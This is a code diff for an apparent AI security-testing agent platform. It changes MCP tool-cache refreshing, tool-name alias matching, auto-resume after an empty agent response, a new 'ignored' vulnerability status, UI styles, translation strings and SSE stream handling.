||||
zap.String("name", n),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
|
||||
resultChan <- countResult{name: n, count: -1}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
|
||||
if !client.IsConnected() {
|
||||
return
|
||||
}
|
||||
|
||||
// 检查状态,如果是error状态,不更新缓存
|
||||
status := client.GetStatus()
|
||||
if status == "error" {
|
||||
if client.GetStatus() == "error" {
|
||||
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
||||
zap.String("name", name),
|
||||
zap.String("status", status),
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(5秒)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
|
||||
tools, err := client.ListTools(ctx)
|
||||
if err != nil {
|
||||
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
|
||||
m.logger.Debug("刷新工具列表缓存失败",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
// 刷新失败时不更新缓存,保留旧缓存(如果有)
|
||||
return
|
||||
}
|
||||
|
||||
// 使用统一的缓存更新方法
|
||||
m.updateToolCache(name, tools)
|
||||
}
|
||||
|
||||
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
||||
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
|
||||
m.refreshWg.Add(1)
|
||||
go func() {
|
||||
defer m.refreshWg.Done()
|
||||
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
|
||||
ticker := time.NewTicker(externalToolCountRefreshInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
// 立即执行一次刷新
|
||||
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
|
||||
zap.String("name", name),
|
||||
)
|
||||
|
||||
m.onClientConnected(name)
|
||||
|
||||
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
||||
m.triggerToolCountRefresh()
|
||||
m.mu.RLock()
|
||||
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
|
||||
for name, client := range m.clients {
|
||||
client.Close()
|
||||
delete(m.clients, name)
|
||||
m.clearReconnectState(name)
|
||||
}
|
||||
|
||||
// 清理所有工具数量缓存
|
||||
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
|
||||
|
||||
// 清理所有工具列表缓存
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache = make(map[string][]Tool)
|
||||
m.toolCache = make(map[string]toolListCacheEntry)
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
||||
|
||||
@@ -1027,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
||||
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
||||
)
|
||||
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
|
||||
if logger != nil {
|
||||
logger.Info("eino empty response, ending run segment for handler resume",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("orchestration", orchMode),
|
||||
zap.Int("traceMessages", len(runAccumulatedMsgs)))
|
||||
}
|
||||
if progress != nil {
|
||||
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "eino",
|
||||
"resumeKind": "trace_segment",
|
||||
})
|
||||
}
|
||||
return out, ErrEmptyResponseContinue
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
|
||||
if out == nil || accumulatedLen <= baseCount {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
|
||||
}
|
||||
|
||||
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
||||
if args != nil && args.ModelFacingTrace != nil {
|
||||
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
package multiagent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
|
||||
t.Parallel()
|
||||
hint := "(empty hint)"
|
||||
out := &RunResult{Response: hint}
|
||||
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
|
||||
t.Fatal("expected continue when response is empty hint and trace grew")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
|
||||
t.Fatal("expected no continue when trace did not grow")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
|
||||
t.Fatal("expected no continue when response has content")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
|
||||
t.Fatal("expected no continue for nil result")
|
||||
}
|
||||
}
|
||||
@@ -51,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
|
||||
}
|
||||
|
||||
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||
nameSet := make(map[string]struct{}, len(names))
|
||||
for _, n := range names {
|
||||
n = strings.TrimSpace(strings.ToLower(n))
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
nameSet[n] = struct{}{}
|
||||
}
|
||||
nameSet := expandAlwaysVisibleNameSet(names)
|
||||
if len(nameSet) == 0 {
|
||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||
}
|
||||
@@ -71,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
|
||||
info, err := t.Info(context.Background())
|
||||
name := ""
|
||||
if err == nil && info != nil {
|
||||
name = strings.TrimSpace(strings.ToLower(info.Name))
|
||||
name = info.Name
|
||||
}
|
||||
if _, keep := nameSet[name]; keep {
|
||||
if toolMatchesAlwaysVisible(name, nameSet) {
|
||||
static = append(static, t)
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
|
||||
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
||||
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
||||
|
||||
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
|
||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
|
||||
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
|
||||
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__tool(OpenAI/Eino 命名)。
|
||||
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
|
||||
set := make(map[string]struct{}, len(names)*3)
|
||||
add := func(name string) {
|
||||
n := strings.TrimSpace(strings.ToLower(name))
|
||||
if n == "" {
|
||||
return
|
||||
}
|
||||
set[n] = struct{}{}
|
||||
}
|
||||
for _, raw := range names {
|
||||
n := strings.TrimSpace(strings.ToLower(raw))
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
add(n)
|
||||
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
|
||||
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
|
||||
add(mcp + "__" + tool)
|
||||
continue
|
||||
}
|
||||
if idx := strings.LastIndex(n, "__"); idx > 0 {
|
||||
mcp, tool := n[:idx], n[idx+2:]
|
||||
if mcp != "" && tool != "" {
|
||||
add(mcp + "::" + tool)
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
|
||||
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
|
||||
if len(nameSet) == 0 {
|
||||
return false
|
||||
}
|
||||
name := strings.TrimSpace(strings.ToLower(runtimeName))
|
||||
if name == "" {
|
||||
return false
|
||||
}
|
||||
if _, ok := nameSet[name]; ok {
|
||||
return true
|
||||
}
|
||||
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
|
||||
if _, ok := nameSet[mcp+"__"+tool]; ok {
|
||||
return true
|
||||
}
|
||||
if _, ok := nameSet[tool]; ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if idx := strings.LastIndex(name, "__"); idx > 0 {
|
||||
mcp, tool := name[:idx], name[idx+2:]
|
||||
if mcp != "" && tool != "" {
|
||||
if _, ok := nameSet[mcp+"::"+tool]; ok {
|
||||
return true
|
||||
}
|
||||
if _, ok := nameSet[tool]; ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package multiagent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
|
||||
t.Parallel()
|
||||
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
|
||||
|
||||
cases := []struct {
|
||||
runtime string
|
||||
want bool
|
||||
}{
|
||||
{"zhidemai__discount_search", true},
|
||||
{"zhidemai::discount_search", true},
|
||||
{"read_file", true},
|
||||
{"zhidemai__product_search_pro", false},
|
||||
{"github__discount_search", false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
|
||||
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
|
||||
t.Parallel()
|
||||
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
|
||||
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
|
||||
t.Fatal("legacy short name should match external runtime tool")
|
||||
}
|
||||
}
|
||||
@@ -4095,6 +4095,12 @@ header {
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
/* 长过程详情:跳过视口外时间线条目的布局/绘制,减轻大段工具输出时的主线程压力 */
|
||||
.progress-timeline .timeline-item {
|
||||
content-visibility: auto;
|
||||
contain-intrinsic-size: auto 72px;
|
||||
}
|
||||
|
||||
.tool-details {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
@@ -5590,6 +5596,66 @@ header {
|
||||
animation: mcpHighlight 2s ease-out;
|
||||
}
|
||||
|
||||
.external-mcp-item.clickable {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.external-mcp-item.selected {
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 0 0 1px var(--accent-color);
|
||||
}
|
||||
|
||||
.tool-item.highlight {
|
||||
animation: mcpHighlight 2s ease-out;
|
||||
}
|
||||
|
||||
.tools-source-filter-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
padding: 4px 8px 4px 10px;
|
||||
border-radius: 999px;
|
||||
background: rgba(var(--accent-rgb, 59, 130, 246), 0.12);
|
||||
border: 1px solid var(--accent-color);
|
||||
color: var(--text-primary);
|
||||
font-size: 0.8125rem;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
.tools-source-filter-clear {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: auto;
|
||||
min-width: 0;
|
||||
height: auto;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
border: none !important;
|
||||
border-radius: 0;
|
||||
background: transparent !important;
|
||||
box-shadow: none;
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
font-size: 1rem;
|
||||
line-height: 1;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.tools-actions .tools-source-filter-clear {
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.tools-source-filter-clear:hover,
|
||||
.tools-actions .tools-source-filter-clear:hover {
|
||||
background: transparent !important;
|
||||
border: none !important;
|
||||
box-shadow: none;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
@keyframes mcpHighlight {
|
||||
0% { box-shadow: 0 0 0 3px var(--accent-color); border-color: var(--accent-color); }
|
||||
100% { box-shadow: none; border-color: var(--border-color); }
|
||||
@@ -16630,6 +16696,12 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
||||
border-color: rgba(148, 163, 184, 0.25);
|
||||
}
|
||||
|
||||
.dashboard-recent-vuln-status.st-ignored {
|
||||
background: rgba(108, 117, 125, 0.12);
|
||||
color: #868e96;
|
||||
border-color: rgba(108, 117, 125, 0.22);
|
||||
}
|
||||
|
||||
@media (max-width: 720px) {
|
||||
.dashboard-recent-vuln-item {
|
||||
grid-template-columns: 56px minmax(0, 1fr) auto 8.25rem;
|
||||
@@ -18704,6 +18776,11 @@ tr.mcp-stats-tool-row[data-tool-name]:focus-visible {
|
||||
color: #dc3545;
|
||||
}
|
||||
|
||||
.status-badge.status-ignored {
|
||||
background: rgba(108, 117, 125, 0.12);
|
||||
color: #868e96;
|
||||
}
|
||||
|
||||
.vulnerability-date {
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-muted);
|
||||
|
||||
@@ -205,6 +205,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"fixRate": "Fix rate",
|
||||
"dataStale": "Data may be stale — please refresh",
|
||||
"recommendedActions": "Recommended Actions",
|
||||
@@ -464,7 +465,7 @@
|
||||
"noHistoryConversations": "No conversation history yet",
|
||||
"renameGroupPrompt": "Please enter new name:",
|
||||
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
|
||||
"deleteConversationConfirm": "Are you sure you want to delete this conversation?",
|
||||
"deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||
"renameFailed": "Rename failed",
|
||||
"downloadConversationFailed": "Failed to download conversation",
|
||||
"viewAttackChainSelectConv": "Please select a conversation to view attack chain",
|
||||
@@ -501,6 +502,8 @@
|
||||
"einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
|
||||
"einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
|
||||
"einoRunRetryTitle": "🔁 Transient error retry",
|
||||
"einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
|
||||
"einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
|
||||
"einoRunRetryErrorDetail": "Error detail",
|
||||
"iterationLimitReachedTitle": "⛔ Iteration limit reached",
|
||||
"iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
|
||||
@@ -958,6 +961,9 @@
|
||||
"externalBadge": "External",
|
||||
"externalFrom": "External ({{name}})",
|
||||
"externalToolFrom": "External MCP - Source: {{name}}",
|
||||
"clickToViewTools": "Click to view tools from {{name}}",
|
||||
"filterBySource": "Source: {{name}}",
|
||||
"clearSourceFilter": "Clear source filter",
|
||||
"noDescription": "No description",
|
||||
"paginationInfo": "{{start}}-{{end}} of {{total}} tools",
|
||||
"perPage": "Per page:",
|
||||
@@ -1803,6 +1809,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"searchVulnId": "Search vuln ID",
|
||||
"searchKeyword": "Search title, description, type, target…",
|
||||
"searchKeywordShort": "Keyword",
|
||||
@@ -2319,7 +2326,7 @@
|
||||
"selectAll": "Select all",
|
||||
"deleteSelected": "Delete selected",
|
||||
"confirmDeleteNone": "Please select at least one conversation to delete",
|
||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)?",
|
||||
"confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
|
||||
"deleteFailed": "Delete failed",
|
||||
"unnamedConversation": "Unnamed conversation"
|
||||
},
|
||||
@@ -2465,6 +2472,7 @@
|
||||
"statusConfirmed": "Confirmed",
|
||||
"statusFixed": "Fixed",
|
||||
"statusFalsePositive": "False positive",
|
||||
"statusIgnored": "Ignored",
|
||||
"type": "Vulnerability type",
|
||||
"typePlaceholder": "e.g. SQL injection, XSS, CSRF",
|
||||
"target": "Target",
|
||||
|
||||
@@ -198,6 +198,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"fixRate": "修复率",
|
||||
"dataStale": "数据可能已过期,请手动刷新",
|
||||
"recommendedActions": "推荐操作",
|
||||
@@ -452,7 +453,7 @@
|
||||
"noHistoryConversations": "暂无历史对话",
|
||||
"renameGroupPrompt": "请输入新名称:",
|
||||
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
||||
"deleteConversationConfirm": "确定要删除此对话吗?",
|
||||
"deleteConversationConfirm": "确定要删除此对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||
"renameFailed": "重命名失败",
|
||||
"downloadConversationFailed": "下载对话失败",
|
||||
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
||||
@@ -489,6 +490,8 @@
|
||||
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
||||
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
||||
"einoRunRetryTitle": "🔁 临时错误重试",
|
||||
"einoEmptyResponseContinueTitle": "🔁 自动续跑(无助手正文)",
|
||||
"einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…",
|
||||
"einoRunRetryErrorDetail": "具体报错",
|
||||
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
||||
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
||||
@@ -946,6 +949,9 @@
|
||||
"externalBadge": "外部",
|
||||
"externalFrom": "外部 ({{name}})",
|
||||
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
||||
"clickToViewTools": "点击查看 {{name}} 的工具",
|
||||
"filterBySource": "来源: {{name}}",
|
||||
"clearSourceFilter": "清除来源筛选",
|
||||
"noDescription": "无描述",
|
||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
||||
"perPage": "每页:",
|
||||
@@ -1791,6 +1797,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"searchVulnId": "搜索漏洞 ID",
|
||||
"searchKeyword": "搜索标题、描述、类型、目标…",
|
||||
"searchKeywordShort": "关键词",
|
||||
@@ -2307,7 +2314,7 @@
|
||||
"selectAll": "全选",
|
||||
"deleteSelected": "删除所选",
|
||||
"confirmDeleteNone": "请先选择要删除的对话",
|
||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?",
|
||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||
"deleteFailed": "删除失败",
|
||||
"unnamedConversation": "未命名对话"
|
||||
},
|
||||
@@ -2453,6 +2460,7 @@
|
||||
"statusConfirmed": "已确认",
|
||||
"statusFixed": "已修复",
|
||||
"statusFalsePositive": "误报",
|
||||
"statusIgnored": "已忽略",
|
||||
"type": "漏洞类型",
|
||||
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
||||
"target": "目标",
|
||||
|
||||
+25
-25
@@ -982,6 +982,24 @@ async function sendMessage() {
|
||||
const reader = response.body.getReader();
|
||||
const decoder = new TextDecoder();
|
||||
let buffer = '';
|
||||
const dispatchStreamEvent = function (eventData) {
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
};
|
||||
const processSseLines = typeof processSseDataLinesYielding === 'function'
|
||||
? processSseDataLinesYielding
|
||||
: async function (lines, onEvent) {
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
onEvent(JSON.parse(line.slice(6)));
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
while (true) {
|
||||
const { done, value } = await reader.read();
|
||||
@@ -991,18 +1009,7 @@ async function sendMessage() {
|
||||
const lines = buffer.split('\n');
|
||||
buffer = lines.pop(); // 保留最后一个不完整的行
|
||||
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseLines(lines, dispatchStreamEvent);
|
||||
}
|
||||
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
||||
buffer += decoder.decode();
|
||||
@@ -1010,18 +1017,7 @@ async function sendMessage() {
|
||||
// 处理剩余的buffer
|
||||
if (buffer.trim()) {
|
||||
const lines = buffer.split('\n');
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseLines(lines, dispatchStreamEvent);
|
||||
}
|
||||
} finally {
|
||||
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
||||
@@ -2384,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
|
||||
itemTitle = agPx + execLine;
|
||||
} else if (eventType === 'eino_agent_reply') {
|
||||
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
||||
} else if (eventType === 'eino_empty_response_continue') {
|
||||
itemTitle = typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||
: '🔁 自动续跑(无助手正文)';
|
||||
} else if (eventType === 'eino_run_retry') {
|
||||
itemTitle = typeof window.t === 'function'
|
||||
? window.t('chat.einoRunRetryTitle')
|
||||
@@ -3369,7 +3369,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
|
||||
async function deleteConversation(conversationId, skipConfirm = false) {
|
||||
// 确认删除(如果调用者没有跳过确认)
|
||||
if (!skipConfirm) {
|
||||
if (!confirm('确定要删除这个对话吗?此操作不可恢复。')) {
|
||||
if (!confirm('确定要删除这个对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。')) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,7 +131,7 @@ async function refreshDashboard() {
|
||||
openVulnQuery('low'),
|
||||
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
||||
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
||||
fetchJson('/api/config/tools?page=1&page_size=1'),
|
||||
fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
|
||||
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
||||
fetchJson('/api/hitl/pending'),
|
||||
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
||||
@@ -1459,6 +1459,7 @@ function statusKey(s) {
|
||||
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
||||
if (s === 'confirmed') return 'confirmed';
|
||||
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
||||
if (s === 'ignored') return 'ignored';
|
||||
return 'open';
|
||||
}
|
||||
|
||||
@@ -1467,6 +1468,7 @@ function statusShortLabel(s) {
|
||||
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
||||
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
||||
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
||||
if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
|
||||
return dt('dashboard.statusOpen', null, '待处理');
|
||||
}
|
||||
|
||||
|
||||
+182
-47
@@ -31,6 +31,25 @@ function shouldSkipTaskEventReplayAttach(conversationId) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/** 监控页展示:内部 mcp::tool → 模型侧 mcp__tool */
|
||||
function formatMonitorToolName(name) {
|
||||
if (!name || typeof name !== 'string') return name || '';
|
||||
return name.includes('::') ? name.replace('::', '__') : name;
|
||||
}
|
||||
|
||||
/** 筛选/API:mcp__tool → 内部 mcp::tool(与库存一致) */
|
||||
function canonicalMonitorToolName(name) {
|
||||
if (!name || typeof name !== 'string') return name || '';
|
||||
if (name.includes('::')) return name;
|
||||
const idx = name.indexOf('__');
|
||||
if (idx > 0) return `${name.slice(0, idx)}::${name.slice(idx + 2)}`;
|
||||
return name;
|
||||
}
|
||||
|
||||
function monitorToolNamesEqual(a, b) {
|
||||
return canonicalMonitorToolName(a) === canonicalMonitorToolName(b);
|
||||
}
|
||||
|
||||
if (typeof window !== 'undefined') {
|
||||
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
||||
}
|
||||
@@ -638,18 +657,126 @@ function mergeStreamBuffer(current, delta, data) {
|
||||
if (typeof window !== 'undefined') {
|
||||
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
||||
window.mergeStreamBuffer = mergeStreamBuffer;
|
||||
window.processSseDataLinesYielding = processSseDataLinesYielding;
|
||||
window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
|
||||
window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
|
||||
}
|
||||
|
||||
/** 流式纯文本 DOM:按帧合并更新,尽量增量 appendData,避免每条 SSE 全量 textContent 阻塞主线程 */
|
||||
const streamPlainDomState = new WeakMap();
|
||||
/** 跟踪仍有待刷新的流式节点,便于快照时间线前一次性 flush */
|
||||
const streamPlainDomPendingElements = new Set();
|
||||
|
||||
function applyStreamPlainTextNow(contentEl, text, state) {
|
||||
if (!contentEl) return;
|
||||
const full = text == null ? '' : String(text);
|
||||
const prevLen = state && state.renderedLen ? state.renderedLen : 0;
|
||||
contentEl.classList.add('timeline-stream-plain');
|
||||
|
||||
if (full.length > prevLen && contentEl.childNodes.length === 1 &&
|
||||
contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
|
||||
const existing = contentEl.firstChild.nodeValue || '';
|
||||
if (existing.length === prevLen && full.startsWith(existing)) {
|
||||
const delta = full.slice(prevLen);
|
||||
if (delta) {
|
||||
contentEl.firstChild.appendData(delta);
|
||||
if (state) {
|
||||
state.renderedLen = full.length;
|
||||
state.pendingText = full;
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
contentEl.textContent = full;
|
||||
if (state) {
|
||||
state.renderedLen = full.length;
|
||||
state.pendingText = full;
|
||||
}
|
||||
}
|
||||
|
||||
function flushStreamPlainTextUpdate(contentEl) {
|
||||
if (!contentEl) return;
|
||||
const state = streamPlainDomState.get(contentEl);
|
||||
if (!state) return;
|
||||
if (state.rafId) {
|
||||
cancelAnimationFrame(state.rafId);
|
||||
state.rafId = 0;
|
||||
}
|
||||
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||
}
|
||||
|
||||
function scheduleStreamPlainTextUpdate(contentEl, text) {
|
||||
if (!contentEl) return;
|
||||
const full = text == null ? '' : String(text);
|
||||
let state = streamPlainDomState.get(contentEl);
|
||||
if (!state) {
|
||||
state = { pendingText: full, rafId: 0, renderedLen: 0 };
|
||||
streamPlainDomState.set(contentEl, state);
|
||||
} else {
|
||||
state.pendingText = full;
|
||||
}
|
||||
streamPlainDomPendingElements.add(contentEl);
|
||||
if (state.rafId) return;
|
||||
state.rafId = requestAnimationFrame(function () {
|
||||
state.rafId = 0;
|
||||
